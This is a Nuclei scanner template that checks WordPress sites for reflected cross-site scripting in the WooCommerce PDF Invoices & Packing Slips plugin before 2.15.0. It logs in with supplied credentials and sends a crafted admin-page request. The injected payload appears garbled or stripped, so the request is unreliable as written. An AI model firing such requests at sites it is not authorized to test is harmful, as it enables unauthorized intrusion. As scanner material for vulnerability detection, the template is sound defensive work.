id: woocommerce-pdf-invoices-xss
info:
name: WordPress WooCommerce PDF Invoices & Packing Slips <2.15.0 - Cross-Site Scripting
author: Akincibor
severity: medium
description: WordPress WooCommerce PDF Invoices & Packing Slips 2.15.0 does not escape some URLs before outputting them in attributes, leading to reflected cross-site scripting.
reference:
- https://wpscan.com/vulnerability/bc05dde0-98a2-46e3-b2c8-7bdc8c32394b
- https://wordpress.org/plugins/woocommerce-pdf-invoices-packing-slips/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 2
tags: xss,wp,wordpress,woocommerce,authenticated,wpscan,wp-plugin
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=wpo_wcpdf_options_page&tab=documents§ion=invoice&"> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- ">"
- "WooCommerce PDF Invoices"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a00463044022011de49f9508d668a9ba62fbb2268683a46a0b6d40d8c7bce88bd2afc523d09b6022010942a6ec0d146637900881c28d42cbc41d45688880efe62fb42edc9fc1eba54:922c64590222798bb761d5b6d8e72950